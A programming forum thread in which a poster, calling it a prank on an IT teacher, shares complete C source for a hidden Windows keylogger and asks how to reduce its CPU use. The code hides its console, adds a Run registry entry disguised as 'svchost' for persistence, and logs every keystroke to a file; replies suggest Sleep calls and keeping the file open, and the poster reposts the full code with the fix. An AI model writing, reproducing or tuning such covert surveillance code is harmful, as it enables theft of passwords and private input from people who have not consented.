100% of my cpu :(

ok i know this is may seem malicous but its just some fun with my it teacher but any ways heres the code me and a couple others made a while back but never really noticed till now how much cpu it uses please help me fix the problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247

#include <windows.h>
#include <stdio.h>
#include <winuser.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
	HWND stealth; 
	AllocConsole();
	stealth=FindWindowA("ConsoleWindowClass",NULL);
	ShowWindow(stealth,0);

	int test,create;
	test=test_key();

	if (test==2)/*create key*/
	{
		char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
		create=create_key(path);

	}


	int t=get_keys();

	return t;
}

int get_keys(void)
{
			short character;
			  while(1)
			  {

					 for(character=8;character<=222;character++)
					 {
						 if(GetAsyncKeyState(character)==-32767)
						 {

							 FILE *file;
							 file=fopen("svchost.log","a+");
							 if(file==NULL)
							 {
									 return 1;
							 }
							 if(file!=NULL)
							 {
									 if((character>=39)&&(character<=64))
									 {
										   fputc(character,file);
										   fclose(file);
										   break;
									 }
									 else if((character>64)&&(character<91))
									 {
										   character+=32;
										   fputc(character,file);
										   fclose(file);
										   break;
									 }
									 else
									 {
										 switch(character)
										 {
											   case VK_SPACE:
											   fputc(' ',file);
											   fclose(file);
											   break;
											   case VK_SHIFT:
											   fputs("[SHIFT]",file);
											   fclose(file);
											   break;
											   case VK_RETURN:
											   fputs("\n[ENTER]",file);
											   fclose(file);
											   break;
											   case VK_BACK:
											   fputs("[BACKSPACE]",file);
											   fclose(file);
											   break;
											   case VK_TAB:
											   fputs("[TAB]",file);
											   fclose(file);
											   break;
											   case VK_CONTROL:
											   fputs("[CTRL]",file);
											   fclose(file);
											   break;
											   case VK_DELETE:
											   fputs("[DEL]",file);
											   fclose(file);
											   break;
											   case VK_OEM_1:
											   fputs("[;:]",file);
											   fclose(file);
											   break;
											   case VK_OEM_2:
											   fputs("[/?]",file);
											   fclose(file);
											   break;
											   case VK_OEM_3:
											   fputs("[`~]",file);
											   fclose(file);
											   break;
											   case VK_OEM_4:
											   fputs("[ [{ ]",file);
											   fclose(file);
											   break;
											   case VK_OEM_5:
											   fputs("[\\|]",file);
											   fclose(file);
											   break;
											   case VK_OEM_6:
											   fputs("[ ]} ]",file);
											   fclose(file);
											   break;
											   case VK_OEM_7:
											   fputs("['\"]",file);
											   fclose(file);
											   break;
											   /*case VK_OEM_PLUS:
											   fputc('+',file);
											   fclose(file);
											   break;
											   case VK_OEM_COMMA:
											   fputc(',',file);
											   fclose(file);
											   break;
											   case VK_OEM_MINUS:
											   fputc('-',file);
											   fclose(file);
											   break;
											   case VK_OEM_PERIOD:
											   fputc('.',file);
											   fclose(file);
											   break;*/
											   case VK_NUMPAD0:
											   fputc('0',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD1:
											   fputc('1',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD2:
											   fputc('2',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD3:
											   fputc('3',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD4:
											   fputc('4',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD5:
											   fputc('5',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD6:
											   fputc('6',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD7:
											   fputc('7',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD8:
											   fputc('8',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD9:
											   fputc('9',file);
											   fclose(file);
											   break;
											   case VK_CAPITAL:
											   fputs("[CAPS LOCK]",file);
											   fclose(file);
											   break;
											   default:
											   fclose(file);
											   break;
										}
								   }
							  }
					}
				}

			}
			return EXIT_SUCCESS;
}

int test_key(void)
{
	int check;
	HKEY hKey;
	char path[BUFSIZE];
	DWORD buf_length=BUFSIZE;
	int reg_key;

	reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
	if(reg_key!=0)
	{
		check=1;
		return check;
	}

	reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

	if((reg_key!=0)||(buf_length>BUFSIZE))
		check=2;
	if(reg_key==0)
		check=0;

	RegCloseKey(hKey);
	return check;
}

int create_key(char *path)
{
		int reg_key,check;

		HKEY hkey;

		reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
		if(reg_key==0)
		{
				RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
				check=0;
				return check;
				SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
		}
		if(reg_key!=0)
				check=1;

		return check;
}

In the parts where cpu usage is high, you can add Sleep() functions, even for a few milliseconds, and it will dramatically reduce CPU usage.
You have an infinite loop and open/close a file in that loop.

Opening a file is one of the most expensive things you can do on a local computer. You'll probably find, not only are you using lots of CPU, you're almost certainly hammering the disk too.

Advice:
1. Open the file outside of the loop, at the end of the loop, flush the file.
2. Don't use an infinite loop without a wait of some kind. Ideally, you want to act on notification of a keypress. But if you must poll, insert short waits.
3. Don't play about with process priority, especially on Windows where context switching is particularly expensive; the OS knows best.
kbw thankyou but could you give a small example of what you would do if i added the sleep function
Something like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
scan: frequency, filename
    open file for append
    get time2
    do
        time1 <- time2

        if (check for key)
            write character to file
            flush file
        endif

        get time2
        delay <- get delay: time1, time2, frequency
        sleep until next check time
    while (!quit)
end scan
thanks but i tried the sleep thing and it worked like a char
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247

#include <windows.h>
#include <stdio.h>
#include <winuser.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
	HWND stealth; 
	AllocConsole();
	stealth=FindWindowA("ConsoleWindowClass",NULL);
	ShowWindow(stealth,0);

	int test,create;
	test=test_key();

	if (test==2)/*create key*/
	{
		char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
		create=create_key(path);

	}


	int t=get_keys();

	return t;
}

int get_keys(void)
{
			short character;
			  while(1)
			  {
                                       Sleep(1);
					 for(character=8;character<=222;character++)
					 {
						 if(GetAsyncKeyState(character)==-32767)
						 {

							 FILE *file;
							 file=fopen("svchost.log","a+");
							 if(file==NULL)
							 {
									 return 1;
							 }
							 if(file!=NULL)
							 {
									 if((character>=39)&&(character<=64))
									 {
										   fputc(character,file);
										   fclose(file);
										   break;
									 }
									 else if((character>64)&&(character<91))
									 {
										   character+=32;
										   fputc(character,file);
										   fclose(file);
										   break;
									 }
									 else
									 {
										 switch(character)
										 {
											   case VK_SPACE:
											   fputc(' ',file);
											   fclose(file);
											   break;
											   case VK_SHIFT:
											   fputs("[SHIFT]",file);
											   fclose(file);
											   break;
											   case VK_RETURN:
											   fputs("\n[ENTER]",file);
											   fclose(file);
											   break;
											   case VK_BACK:
											   fputs("[BACKSPACE]",file);
											   fclose(file);
											   break;
											   case VK_TAB:
											   fputs("[TAB]",file);
											   fclose(file);
											   break;
											   case VK_CONTROL:
											   fputs("[CTRL]",file);
											   fclose(file);
											   break;
											   case VK_DELETE:
											   fputs("[DEL]",file);
											   fclose(file);
											   break;
											   case VK_OEM_1:
											   fputs("[;:]",file);
											   fclose(file);
											   break;
											   case VK_OEM_2:
											   fputs("[/?]",file);
											   fclose(file);
											   break;
											   case VK_OEM_3:
											   fputs("[`~]",file);
											   fclose(file);
											   break;
											   case VK_OEM_4:
											   fputs("[ [{ ]",file);
											   fclose(file);
											   break;
											   case VK_OEM_5:
											   fputs("[\\|]",file);
											   fclose(file);
											   break;
											   case VK_OEM_6:
											   fputs("[ ]} ]",file);
											   fclose(file);
											   break;
											   case VK_OEM_7:
											   fputs("['\"]",file);
											   fclose(file);
											   break;
											   /*case VK_OEM_PLUS:
											   fputc('+',file);
											   fclose(file);
											   break;
											   case VK_OEM_COMMA:
											   fputc(',',file);
											   fclose(file);
											   break;
											   case VK_OEM_MINUS:
											   fputc('-',file);
											   fclose(file);
											   break;
											   case VK_OEM_PERIOD:
											   fputc('.',file);
											   fclose(file);
											   break;*/
											   case VK_NUMPAD0:
											   fputc('0',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD1:
											   fputc('1',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD2:
											   fputc('2',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD3:
											   fputc('3',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD4:
											   fputc('4',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD5:
											   fputc('5',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD6:
											   fputc('6',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD7:
											   fputc('7',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD8:
											   fputc('8',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD9:
											   fputc('9',file);
											   fclose(file);
											   break;
											   case VK_CAPITAL:
											   fputs("[CAPS LOCK]",file);
											   fclose(file);
											   break;
											   default:
											   fclose(file);
											   break;
										}
								   }
							  }
					}
				}

			}
			return EXIT_SUCCESS;
}

int test_key(void)
{
	int check;
	HKEY hKey;
	char path[BUFSIZE];
	DWORD buf_length=BUFSIZE;
	int reg_key;

	reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
	if(reg_key!=0)
	{
		check=1;
		return check;
	}

	reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

	if((reg_key!=0)||(buf_length>BUFSIZE))
		check=2;
	if(reg_key==0)
		check=0;

	RegCloseKey(hKey);
	return check;
}

int create_key(char *path)
{
		int reg_key,check;

		HKEY hkey;

		reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
		if(reg_key==0)
		{
				RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
				check=0;
				return check;
				SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
		}
		if(reg_key!=0)
				check=1;

		return check;
}



the new code is on line 39 it was really easy thanks
Nope .. as said by kbw ..
you show open the file out side while loop in the append mode and close the fine out side the wile loop ..
Topic archived. No new replies allowed.